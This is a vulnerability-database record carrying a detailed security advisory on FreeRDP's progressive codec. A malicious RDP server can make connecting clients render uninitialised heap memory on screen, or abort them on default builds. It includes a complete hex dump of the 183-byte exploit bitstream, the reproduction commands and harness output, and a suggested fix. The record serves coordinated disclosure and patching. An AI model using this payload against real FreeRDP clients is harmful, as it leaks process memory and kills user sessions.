{"schema":"threatline.record/2","record":{"id":"GHSA-4mpr-hmqx-83q8","aliases":["GHSA-4mpr-hmqx-83q8"],"summary":"FreeRDP: uninitialised heap from an un-decoded progressive tile is rendered to the client's screen, and the default build aborts","details":"# FreeRDP — Uninitialised heap memory rendered to the screen by the progressive codec's tile-upgrade path (bypasses the CVE-2026-33983 fix)\r\n\r\n## Summary\r\n\r\n`RFX_PROGRESSIVE_TILE::current` — the 24 KiB per-tile buffer that holds the\r\naccumulated wavelet coefficients of a progressive tile — is allocated with\r\n`winpr_aligned_malloc()` and is never zeroed. The progressive tile-upgrade\r\npath unconditionally copies all 4096 coefficients out of that buffer into the\r\ndecode buffer (`memcpy(buffer, current, 8192)` in\r\n`progressive_rfx_dwt_2d_decode()` with `reverse = TRUE`), runs the inverse DWT\r\nand the YCbCr→RGB conversion on them, and writes the result into the surface\r\nthat is painted on the user's screen.\r\n\r\nNothing in the decoder requires that a tile has previously been decoded\r\nsuccessfully before an upgrade pass is accepted for it. A malicious RDP server\r\ncan therefore make a connecting FreeRDP client render 8 KiB of uninitialised\r\nheap memory per tile per component as pixels, at a rate it fully controls.\r\n\r\nThe fix for CVE-2026-33983 (commit `78188ab`, released in 3.24.2) made\r\n`progressive_rfx_quant_sub()` fail on an underflow, which incidentally rejects\r\nthe simplest form of this — a lone `WBT_TILE_UPGRADE` against a completely\r\nfresh tile, whose `tile->yBitPos` is still 0. That guard is bypassed by first\r\nsending a `WBT_TILE_FIRST` block that is *accepted and then fails during\r\ndecode*: `tile->yBitPos`/`cbBitPos`/`crBitPos` are assigned before the\r\ncomponent decode runs, so the tile is left with valid bit positions and an\r\nuntouched `current` buffer. An upgrade block in a second region of the same\r\nframe then passes the guard and reads the uninitialised buffer.\r\n\r\nOn a build with `WITH_VERBOSE_WINPR_ASSERT` at its CMake default of `ON`, the\r\nuninitialised coefficients additionally overflow `INT16` inside the inverse\r\nDWT and trip `WINPR_ASSERT` in `rfx_dwt.c`, which calls `winpr_int_assert()`\r\nand aborts the process — so on a default build the same input is a reliable\r\nremote client crash rather than only an information leak.\r\n\r\n## Affected Component\r\n\r\n`FreeRDP/FreeRDP`, C. Audited commit\r\n`66d3438f0efe463390539cf53ffef20c4891105d` (master, 2026-09-21, reported\r\nversion 3.31.2). The same code is present in the latest release, 3.31.1.\r\n\r\n* `libfreerdp/codec/progressive.c:374-387` — `progressive_tile_new()`:\r\n  `tile->sign` and `tile->current` allocated with `winpr_aligned_malloc()`,\r\n  left uninitialised.\r\n* `libfreerdp/codec/progressive.c:1340-1531` —\r\n  `progressive_decompress_tile_upgrade()`: no check that the tile has ever\r\n  been decoded (`tile->pass`, or a successful `WBT_TILE_FIRST`).\r\n* `libfreerdp/codec/progressive.c:819-830` — `progressive_rfx_dwt_2d_decode()`:\r\n  `memcpy(buffer, current, bsize)` on the `reverse = TRUE` path.\r\n* `libfreerdp/codec/progressive.c:1024-1035, 1059-1070` —\r\n  `progressive_decompress_tile_first()`: `tile->yBitPos` etc. are written\r\n  before `progressive_rfx_decode_component()` can fail, which is what makes\r\n  the bypass possible.\r\n* Reached from `libfreerdp/gdi/gfx.c:1127` (`gdi_SurfaceCommand_Progressive`),\r\n  dispatched at `libfreerdp/gdi/gfx.c:1225`, entered from\r\n  `channels/rdpgfx/client/rdpgfx_main.c` (`rdpgfx_recv_wire_to_surface_1_pdu`\r\n  → `rdpgfx_decode`).\r\n\r\n## Vulnerability Type\r\n\r\n* CWE-908 (Use of Uninitialized Resource) leading to CWE-200 (Exposure of\r\n  Sensitive Information to an Unauthorized Actor) — heap contents of the\r\n  client process are rendered into the displayed framebuffer.\r\n* CWE-617 (Reachable Assertion) as a secondary effect on builds with\r\n  `WITH_VERBOSE_WINPR_ASSERT=ON` (the CMake default).\r\n\r\n## Root Cause\r\n\r\nThe per-tile accumulation buffers are allocated but not initialised:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:356-394 */\r\nstatic inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)\r\n{\r\n\tRFX_PROGRESSIVE_TILE* tile = winpr_aligned_calloc(1, sizeof(RFX_PROGRESSIVE_TILE), 32);\r\n\t...\r\n\t{\r\n\t\tconst size_t signLen = (8192ULL + 32ULL) * 3ULL;\r\n\t\ttile->sign = (BYTE*)winpr_aligned_malloc(signLen, 16);      /* not zeroed */\r\n\t}\r\n\t...\r\n\t{\r\n\t\tconst size_t currentLen = (8192ULL + 32ULL) * 3ULL;\r\n\t\ttile->current = (BYTE*)winpr_aligned_malloc(currentLen, 16); /* not zeroed */\r\n\t}\r\n```\r\n\r\nThe upgrade path reads the whole buffer regardless of how many bits the\r\nupgrade actually carries. `progressive_rfx_upgrade_component()` finishes with:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:1336 */\r\n\treturn progressive_rfx_dwt_2d_decode(progressive, buffer, current, coeffDiff, extrapolate,\r\n\t                                     TRUE);\r\n```\r\n\r\nand with `reverse = TRUE` that function unconditionally copies `current` into\r\nthe working buffer:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:819-830 */\r\n\tconst uint32_t belements = 4096;\r\n\tconst uint32_t bsize = belements * sizeof(INT16);\r\n\tif (reverse)\r\n\t\tmemcpy(buffer, current, bsize);\r\n```\r\n\r\n`buffer` is then inverse-transformed and converted straight into `tile->data`:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:1523-1527 */\r\n\t{\r\n\t\tconst INT16** ptr = WINPR_REINTERPRET_CAST(pSrcDst, INT16**, const INT16**);\r\n\t\tstatus = prims->yCbCrToRGB_16s8u_P3AC4R(ptr, 64 * 2, tile->data, tile->stride,\r\n\t\t                                        progressive->format, &roi_64x64);\r\n\t}\r\n```\r\n\r\nand `update_tiles()` copies `tile->data` into the surface that the client\r\npaints. So every byte of `tile->current` for all three components — 3 × 8192\r\nbytes per tile — reaches the screen.\r\n\r\nNothing sequences the upgrade against a prior successful decode. The tile\r\nblock dispatcher accepts any block type in any order:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:1745-1768 */\r\n\t\tswitch (blockType)\r\n\t\t{\r\n\t\t\tcase PROGRESSIVE_WBT_TILE_SIMPLE: ...\r\n\t\t\tcase PROGRESSIVE_WBT_TILE_FIRST: ...\r\n\t\t\tcase PROGRESSIVE_WBT_TILE_UPGRADE:\r\n\t\t\t\tif (!progressive_tile_read_upgrade(progressive, s, blockType, blockLen, surface,\r\n\t\t\t\t                                   region, context))\r\n\t\t\t\t\treturn -1032;\r\n\t\t\t\tbreak;\r\n```\r\n\r\nand `progressive_decompress_tile_upgrade()` validates the quantisation\r\nindices and the quality index but never `tile->pass`.\r\n\r\n### Why the CVE-2026-33983 fix does not cover this\r\n\r\nCommit `78188ab` (\"[codec,progressive] Fail progressive_rfx_quant_sub on\r\ninvalid values\") turned `progressive_rfx_quant_sub()` into a checked\r\noperation:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:1451-1456 */\r\n\tif (!progressive_rfx_quant_sub(&(tile->yBitPos), &yBitPos, &yNumBits))\r\n\t\tgoto fail;\r\n```\r\n\r\nFor a never-touched tile, `tile->yBitPos` is all zeros while `yBitPos` is at\r\nleast 6 in every band (region quant values are range-checked to 6…15), so the\r\nsubtraction fails and the tile is rejected. That is confirmed by the control\r\ninput in the evidence directory: `upgrade_only.bin` produces an identical\r\noutput hash under every heap fill byte.\r\n\r\n`progressive_decompress_tile_first()`, however, assigns the bit positions\r\n*before* it can fail:\r\n\r\n```c\r\n/* libfreerdp/codec/progressive.c:1024-1035 */\r\n\tprogressive_rfx_quant_add(quantY, quantProgY, &(tile->yBitPos));\r\n\tprogressive_rfx_quant_add(quantCb, quantProgCb, &(tile->cbBitPos));\r\n\tprogressive_rfx_quant_add(quantCr, quantProgCr, &(tile->crBitPos));\r\n\t...\r\n/* libfreerdp/codec/progressive.c:1059-1062 */\r\n\trc = progressive_rfx_decode_component(progressive, &shiftY, tile->yData, tile->yLen, pSrcDst[0],\r\n\t                                      pCurrent[0], pSign[0], diff, sub, extrapolate); /* Y */\r\n\tif (rc < 0)\r\n\t\tgoto fail;\r\n```\r\n\r\nA `WBT_TILE_FIRST` block with `yLen = 0` reaches\r\n`rfx_rlgr_decode()`, which returns `-1` on `!SrcSize`\r\n(`libfreerdp/codec/rfx_rlgr.c:187`). The component decode aborts, so\r\n`tile->current` is never written — but `tile->yBitPos` and friends are already\r\nset to the region's quant values. A later upgrade block that repeats the same\r\nquant values then satisfies the guard with every `numBits == 0`, skips all the\r\nSRL/RAW reads, and falls straight through to the `memcpy` above.\r\n\r\n## Proof of Concept\r\n\r\n`gen_progressive_uninit.py` (in the evidence directory) emits a 183-byte\r\nRFX_PROGRESSIVE_CODEC bitstream — the payload of a single\r\n`RDPGFX_WIRE_TO_SURFACE_PDU_1` with `codecId = RDPGFX_CODECID_CAPROGRESSIVE`:\r\n\r\n```\r\nWBT_SYNC          magic 0xCACCACCA, version 0x0100\r\nWBT_CONTEXT       ctxId 0, tileSize 64, flags 0x01 (RFX_SUBBAND_DIFFING)\r\nWBT_FRAME_BEGIN   frameIndex 0, regionCount 2\r\n  WBT_REGION      numRects 1 (0,0,64,64), numQuant 1 (all bands = 6),\r\n                  numProgQuant 1 (quality 0, all bands = 0), numTiles 1\r\n    WBT_TILE_FIRST  quantIdx 0/0/0, xIdx 0, yIdx 0, flags 0, quality 0,\r\n                    yLen 0, cbLen 0, crLen 0, tailLen 0\r\n  WBT_REGION      identical header\r\n    WBT_TILE_UPGRADE quantIdx 0/0/0, xIdx 0, yIdx 0, quality 0,\r\n                     ySrlLen 0, yRawLen 0, cbSrlLen 0, cbRawLen 0,\r\n                     crSrlLen 0, crRawLen 0\r\nWBT_FRAME_END\r\n```\r\n\r\nBytes:\r\n\r\n```\r\n00000000: c0cc 0c00 0000 caac ccca 0001 c3cc 0a00\r\n00000010: 0000 0040 0001 c1cc 0c00 0000 0000 0000\r\n00000020: 0200 c4cc 4600 0000 4001 0001 0100 0100\r\n00000030: 1700 0000 0000 0000 4000 4000 6666 6666\r\n00000040: 6600 0000 0000 0000 0000 0000 0000 0000\r\n00000050: 00c6 cc17 0000 0000 0000 0000 0000 0000\r\n00000060: 0000 0000 0000 0000 c4cc 4900 0000 4001\r\n00000070: 0001 0100 0100 1a00 0000 0000 0000 4000\r\n00000080: 4000 6666 6666 6600 0000 0000 0000 0000\r\n00000090: 0000 0000 0000 00c7 cc1a 0000 0000 0000\r\n000000a0: 0000 0000 0000 0000 0000 0000 0000 0000\r\n000000b0: 00c2 cc06 0000 00\r\n```\r\n\r\n`prog_harness.c` drives the library exactly as `gdi_SurfaceCommand_Progressive`\r\ndoes: `progressive_context_new()`,\r\n`progressive_create_surface_context(ctx, 0, 1024, 768)`, then\r\n`progressive_decompress(ctx, data, len, dst, PIXEL_FORMAT_BGRX32, 4096, 0, 0,\r\n&invalidRegion, 0, 0)`. It prints the first 32 bytes and an FNV-1a hash of\r\ntile (0,0) of the decoded surface.\r\n\r\n### 1. The rendered pixels are a function of heap content\r\n\r\nRelease build (`CMAKE_BUILD_TYPE=Release`, `WITH_VERBOSE_WINPR_ASSERT=OFF`).\r\nThe *only* thing that changes between runs is the glibc heap fill byte:\r\n\r\n```\r\n$ MALLOC_PERTURB_=0 ./prog_harness progressive_uninit.bin\r\nprogressive_decompress rc = 1\r\ntile(0,0) hash = 8b5d632bd8ef8383\r\ntile(0,0) first 32 bytes: 80 80 80 ff 80 80 80 ff 80 80 80 ff ...\r\n\r\n$ MALLOC_PERTURB_=170 ./prog_harness progressive_uninit.bin\r\nprogressive_decompress rc = 1\r\ntile(0,0) hash = c880a23630c8c942\r\ntile(0,0) first 32 bytes: 00 93 00 ff ff 58 ff ff 00 93 00 ff ...\r\n\r\n$ MALLOC_PERTURB_=85 ./prog_harness progressive_uninit.bin\r\nprogressive_decompress rc = 1\r\ntile(0,0) hash = 9176355bce245825\r\ntile(0,0) first 32 bytes: ff 6c ff ff 00 a7 00 ff ff 6c ff ff ...\r\n\r\n$ MALLOC_PERTURB_=204 ./prog_harness progressive_uninit.bin\r\nprogressive_decompress rc = 1\r\ntile(0,0) hash = 431c72b85989071f\r\ntile(0,0) first 32 bytes: 00 af 00 ff ff 00 ff ff ff 56 ff ff ...\r\n\r\n$ MALLOC_PERTURB_=17 ./prog_harness progressive_uninit.bin\r\nprogressive_decompress rc = 1\r\ntile(0,0) hash = e9683f6a816a611b\r\ntile(0,0) first 32 bytes: ff 70 ff ff ff 70 ff ff ff 70 ff ff ...\r\n```\r\n\r\nNote that `progressive_decompress` returns `1` in every case — from the\r\nlibrary's point of view this is a perfectly successful decode, so no error\r\npath or log message fires.\r\n\r\n### 2. Valgrind\r\n\r\n```\r\n==3819549== Use of uninitialised value of size 8\r\n==3819549==    at 0x4CD890A: _itoa_word (_itoa.c:184)\r\n...\r\n==3819549==    by 0x10947E: main (prog_harness.c:43)\r\n==3819549==  Uninitialised value was created by a heap allocation\r\n==3819549==    at 0x484CA49: posix_memalign (vg_replace_malloc.c:2226)\r\n==3819549==    by 0x4BC26C7: winpr_aligned_offset_malloc\r\n==3819549==    by 0x4B9AAD1: BufferPool_Take\r\n==3819549==    by 0x48CFBAF: progressive_process_tiles_tile_work_callback\r\n```\r\n\r\n(line 43 of the harness is the loop that prints the *decoded surface* bytes,\r\nso the taint has propagated all the way to the output pixels.)\r\n\r\n### 3. Attribution and fix verification\r\n\r\nChanging only `tile->current` to `winpr_aligned_calloc()` collapses the\r\ndifferential completely — every fill byte now yields hash\r\n`8b5d632bd8ef8383`, the same value the unpatched build produces when the heap\r\nhappens to be zero. Changing both `tile->current` and `tile->sign` also brings\r\nValgrind to `ERROR SUMMARY: 0 errors from 0 contexts`.\r\n\r\n### 4. Crash on a default build\r\n\r\nWith `WITH_VERBOSE_WINPR_ASSERT` at its CMake default of `ON`\r\n(`cmake/CommonConfigOptions.cmake:15`), the same input aborts the process:\r\n\r\n```\r\n[FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]:\r\n  (((var) == ((__typeof(var))(((INT16)((var)))))))\r\n  [./libfreerdp/codec/rfx_dwt.c:rfx_dwt_2d_decode_block:71]\r\n```\r\n\r\n`winpr_int_assert()` is `WINPR_NORETURN` and calls `abort()`. Because real\r\nheaps are rarely all-zero, this is the outcome a real client will normally\r\nsee: the uninitialised coefficients overflow `INT16` during the inverse DWT\r\nand kill the process.\r\n\r\n### Reproducing\r\n\r\n```sh\r\npython3 gen_progressive_uninit.py progressive_uninit.bin\r\npython3 gen_upgrade_only_control.py upgrade_only.bin\r\n\r\ncmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Release \\\r\n      -DWITH_VERBOSE_WINPR_ASSERT=OFF -DBUILD_SHARED_LIBS=ON \\\r\n      -DWITH_SERVER=OFF -DWITH_CLIENT=OFF\r\ncmake --build build --parallel\r\n\r\nclang -g -O0 -std=gnu2x -D_GNU_SOURCE -o prog_harness prog_harness.c \\\r\n      -Iinclude -Ibuild/include -Iwinpr/include -Ibuild/winpr/include \\\r\n      -Lbuild/libfreerdp -Lbuild/winpr/libwinpr -lfreerdp3 -lwinpr3 \\\r\n      -Wl,-rpath,$PWD/build/libfreerdp -Wl,-rpath,$PWD/build/winpr/libwinpr\r\n\r\nfor p in 0 170 85 204; do MALLOC_PERTURB_=$p ./prog_harness progressive_uninit.bin; done\r\nvalgrind --track-origins=yes ./prog_harness progressive_uninit.bin\r\n```\r\n\r\n## Reachability\r\n\r\n**Who can send this.** Any RDP server the client connects to, and anything in\r\na position to act as one — a hostile or compromised RDP host, an RD Gateway,\r\nor a man-in-the-middle on a connection where certificate verification has been\r\nrelaxed. This is the standard malicious-server-against-client threat model\r\nFreeRDP treats as in scope, and it is the same path as CVE-2023-40569\r\n(`rdpgfx_recv_wire_to_surface_1_pdu` → `rdpgfx_decode` →\r\n`gdi_SurfaceCommand_Progressive` → `progressive_decompress`).\r\n\r\n**Where in the connection.** Post-authentication: the graphics pipeline\r\ndynamic virtual channel only opens after the RDP connection sequence\r\ncompletes. The attacker is the *server*, so from the attacker's side no\r\ncredential is needed — the victim authenticates *to* the attacker. There is no\r\nfurther capability gate: `checkSurfaceCommand()`\r\n(`channels/rdpgfx/client/rdpgfx_main.c:1509-1542`) accepts\r\n`RDPGFX_CODECID_CAPROGRESSIVE` unconditionally, with no check that the client\r\never advertised progressive support in its `RDPGFX_CAPS_ADVERTISE`. So the\r\ndecoder is reachable on *every* client with the `rdpgfx` channel open, not\r\nonly on clients started with `/gfx:progressive`.\r\n\r\n**On by default.** Yes. `prepare_default_settings()`\r\n(`client/common/cmdline.c:2066`) applies `CONNECTION_TYPE_AUTODETECT` whenever\r\nnone of `/network`, `/gfx`, `/rfx`, `/bpp` were given, and\r\n`freerdp_set_connection_type()` (`client/common/cmdline.c:1483-1495`) sets\r\n`FreeRDP_SupportGraphicsPipeline = TRUE` for that connection type. A plain\r\n`xfreerdp /v:host /u:user` therefore opens the graphics pipeline and exposes\r\nthis decoder.\r\n\r\n**Process model.** The FreeRDP command-line clients are a single process. The\r\ndecoded surface is the user's visible desktop, so the disclosed bytes are\r\nrendered on screen where they can be photographed or screen-scraped by the\r\nsame server that sent the PDU (the server can read back nothing directly, but\r\na leak into the framebuffer is observable to anyone with a view of the\r\nvictim's screen, and to any screen-sharing or recording the victim is running;\r\nmore importantly, the leaked values also feed the client's own subsequent\r\nencode/redirect paths). The process holds the connection's credentials and\r\nTLS state on the same heap. Tile buffers are 24 KiB `posix_memalign`\r\nallocations taken from the main arena at surface-creation time, i.e. after the\r\nconnection sequence has allocated and freed credential, licensing, and TLS\r\nbuffers. On builds with the default `WITH_VERBOSE_WINPR_ASSERT=ON`, the same\r\ninput aborts the whole client, which for a single-process client is a complete\r\nsession loss.\r\n\r\n**Documented exposure.** No. FreeRDP's `SECURITY.md` documents a private\r\nreporting process and treats client-side decoder flaws reachable from a\r\nmalicious server as vulnerabilities; several published FreeRDP advisories are\r\nexactly this shape, including two prior progressive-codec issues\r\n(CVE-2023-40569, CVE-2026-33983).\r\n\r\n**Scale of the leak.** One 64×64 tile leaks 3 × 8192 bytes of the tile's\r\n`current` buffer per upgrade pass. A region may carry up to 65535 tiles and a\r\nframe may carry many regions, so the server chooses how much of the client's\r\nheap to render and can repeat it on every frame.\r\n\r\n## Areas Checked and Confirmed Clean\r\n\r\n* `progressive_surface_tile_replace()` (`progressive.c:460-541`) — `zIdx` is\r\n  bounds-checked against `surface->tilesSize` before indexing, and\r\n  `region->usedTiles` against `region->numTiles` before appending.\r\n* `update_tiles()` (`progressive.c:2337-2434`) — the destination copy is\r\n  clipped to `surface->width`/`surface->height` (`progressive.c:2405-2408`) and\r\n  intersected with the region's clipping rectangles, so a tile index beyond the\r\n  surface grid cannot produce an out-of-bounds write.\r\n* `progressive_wb_read_region_header()` (`progressive.c:2042-2128`) — the\r\n  declared `numRects`/`numQuant`/`numProgQuant`/`tileDataSize` are each checked\r\n  against the remaining stream length before use, and `region->rects[]`,\r\n  `quantVals[]`, `quantProgVals[]`, `tiles[]` are all sized to the full range\r\n  of their wire-format index types.\r\n* `progressive_process_tiles()` (`progressive.c:1702-1796`) — per-block\r\n  `blockLen` is validated against the stream, the total is reconciled against\r\n  `tileDataSize`, and the block count against `numTiles`.\r\n* Quantisation index handling — `quantIdxY/Cb/Cr` and `quality` are each\r\n  checked against `numQuant`/`numProgQuant` in both the first and the upgrade\r\n  path.\r\n* The `progressive_rfx_quant_sub()` guard added by `78188ab` does correctly\r\n  reject the naive lone-upgrade case; the control input `upgrade_only.bin`\r\n  confirms it.\r\n* `tile->sign` is a second uninitialised buffer of the same size. It is read\r\n  at `progressive.c:1241-1257` on the non-LL bands, but only when\r\n  `numBits >= 1`, which requires a prior successful decode that fills `sign`\r\n  via `CopyMemory(sign, buffer, 4096ULL * 2ULL)` (`progressive.c:876`). I did\r\n  not find a sequence that reads it uninitialised, but it should be zeroed\r\n  along with `current`.\r\n\r\n### Fuzzing coverage\r\n\r\nFreeRDP is on OSS-Fuzz and `libfreerdp/codec/test/TestFuzzCodecs.c` *does*\r\nexercise `progressive_decompress` (alongside clear, xcrush, zgfx, ncrush, rfx,\r\nmppc, interleaved and planar), with `TestFuzzNSCodec.c` covering NSC. The gap\r\nthat leaves this bug alive is the sanitizer set: `projects/freerdp/project.yaml`\r\nlists `sanitizers: address, undefined` only. The OSS-Fuzz `build.sh` has a\r\n`memory) SANITIZERS_ARGS=\"-DWITH_SANITIZE_MEMORY=ON\"` branch, but MemorySanitizer\r\nis not enabled for the project, so no uninitialised-memory bug in any FreeRDP\r\ncodec can be found by the existing fuzzing. Enabling `memory` in\r\n`project.yaml` would be worth doing independently of this report.\r\n\r\n## Impact\r\n\r\nA malicious RDP server can, against any FreeRDP 3 client using default\r\nsettings:\r\n\r\n1. Cause up to 24 KiB of uninitialised process heap per tile to be\r\n   inverse-transformed and painted into the user's visible desktop, repeatedly\r\n   and at a rate of the server's choosing. The client process heap at that\r\n   point contains freed connection-setup buffers — credentials, licensing\r\n   material and TLS state among them.\r\n2. On any build with `WITH_VERBOSE_WINPR_ASSERT=ON` — the CMake default, and\r\n   what a distribution gets unless it explicitly turns it off — abort the\r\n   client process outright with a single 183-byte PDU. The clients are\r\n   single-process, so this terminates the session.\r\n\r\nThe input is accepted as a *successful* decode (`progressive_decompress`\r\nreturns 1), so nothing in the client logs the event.\r\n\r\n## Suggested Fix\r\n\r\nZero the per-tile accumulation buffers. Tested: this removes the differential\r\nentirely and brings Valgrind to zero errors (see\r\n`control-and-fix-verification.txt`).\r\n\r\n```diff\r\n--- a/libfreerdp/codec/progressive.c\r\n+++ b/libfreerdp/codec/progressive.c\r\n@@ -373,7 +373,7 @@ static inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)\r\n \t{\r\n \t\tconst size_t signLen = (8192ULL + 32ULL) * 3ULL;\r\n-\t\ttile->sign = (BYTE*)winpr_aligned_malloc(signLen, 16);\r\n+\t\ttile->sign = (BYTE*)winpr_aligned_calloc(1, signLen, 16);\r\n \t}\r\n@@ -381,7 +381,7 @@ static inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)\r\n \t{\r\n \t\tconst size_t currentLen = (8192ULL + 32ULL) * 3ULL;\r\n-\t\ttile->current = (BYTE*)winpr_aligned_malloc(currentLen, 16);\r\n+\t\ttile->current = (BYTE*)winpr_aligned_calloc(1, currentLen, 16);\r\n \t}\r\n```\r\n\r\nTwo further hardening steps are worth considering, because zeroing alone still\r\nlets a server drive the decoder from a state that never legitimately occurs:\r\n\r\n* Reject a `WBT_TILE_UPGRADE` for a tile that has not been successfully\r\n  decoded — for example by only setting `tile->pass = 1` at the *end* of\r\n  `progressive_decompress_tile_first()` rather than at the start\r\n  (`progressive.c:956`), and requiring `tile->pass > 0` in\r\n  `progressive_decompress_tile_upgrade()`.\r\n* Make `progressive_decompress_tile_first()` leave no partial state behind on\r\n  failure: `tile->yBitPos`/`cbBitPos`/`crBitPos` and the quant fields are\r\n  written at `progressive.c:1017-1026` before the decode can fail, which is\r\n  what makes the current bypass possible. Writing them only after all three\r\n  components have decoded would close it.\r\n\r\nThe `INT16` overflow in `rfx_dwt_2d_decode_block()` is arguably a third issue:\r\nan assertion is a poor guard for a value derived from decoded data, since it\r\nturns a range problem into a process abort on default builds. Clamping or\r\nreturning an error would be preferable.\r\n\r\n## Duplicate Check\r\n\r\n* All 100+ published `FreeRDP/FreeRDP` GitHub Security Advisories were listed\r\n  and filtered for `progress|uninit|tile|rfx|dwt`. Four uninitialised-memory\r\n  advisories exist — `GHSA-r7jx-j9h7-j4xj` (RDPGFX ResetGraphics),\r\n  `GHSA-v649-94v2-p72q` (Save Session Info PDU), `GHSA-hw7p-5h2r-83gq`\r\n  (urbdrc), `GHSA-c45q-wcpg-mxjq` (parallel port redirection) — none of them\r\n  in the progressive codec.\r\n* Two progressive-codec advisories exist: `GHSA-hm8c-rcjg-c8qp` /\r\n  CVE-2023-40569 (out-of-bounds *write* via `nXSrc`/`nYSrc` in\r\n  `progressive_decompress`, fixed in 2.11.0 / 3.0.0-beta3) and\r\n  `GHSA-4gfm-4p52-h478` / CVE-2026-33983 (quant BYTE underflow → shift UB and\r\n  CPU DoS, fixed in 3.24.2 by commit `78188ab`). Neither concerns\r\n  uninitialised memory; I pulled the `78188ab` diff and confirmed it only adds\r\n  the `progressive_rfx_quant_sub()` return check, and demonstrated by control\r\n  input that this report's sequence gets past it.\r\n* `git log --grep=uninitial -i` over the repository returns no commit touching\r\n  `progressive.c`.\r\n* `tile->current` is still `winpr_aligned_malloc()` at tag 3.31.1 (the latest\r\n  release) and on `master`; at 3.24.1 the same line exists and the\r\n  `quant_sub` guard is absent, so pre-3.24.2 releases are reachable by the\r\n  simpler single-tile form.\r\n* Local report set (`/work/bughunting/reports/`) contains no FreeRDP report and\r\n  no progressive-codec report.\r\n\r\n## Disclosure Channel\r\n\r\nVerified on 2026-09-21:\r\n\r\n* `gh api repos/FreeRDP/FreeRDP/private-vulnerability-reporting` →\r\n  `{\"enabled\": true}`.\r\n* `gh api repos/FreeRDP/FreeRDP` → `archived: false`,\r\n  `pushed_at: 2026-09-21T09:28:13Z`.\r\n* `SECURITY.md` names two channels: a GitHub Security Advisory at\r\n  `https://github.com/FreeRDP/FreeRDP/security/advisories/new`, or email to\r\n  `security@freerdp.com` with an optional GPG key at\r\n  `https://pub.freerdp.com/FreeRDP-security-team.pub.asc`. It asks explicitly\r\n  that vulnerabilities not be filed as public issues.\r\n* No repository-root `AGENTS.md`.\r\n\r\nPreferred channel: GitHub private security advisory on `FreeRDP/FreeRDP`.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4mpr-hmqx-83q8","source_modified_at":"2026-09-28T08:08:21Z","fetched_at":"2026-10-23T19:00:29.328130Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":"<= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4mpr-hmqx-83q8","source_modified_at":"2026-09-28T08:08:21Z","fetched_at":"2026-10-23T19:00:29.328130Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":null,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-28T08:08:21Z","modified_at":"2026-09-28T08:08:21Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4mpr-hmqx-83q8","fetched_at":"2026-10-23T19:00:29.328130Z","source_modified_at":"2026-09-28T08:08:21Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-28T08:08:21Z","content_hash":"c0d77caae28a701e74ca4c0fbec8f3bbd1891e92fe34073c85584ff8a67d169a"}}
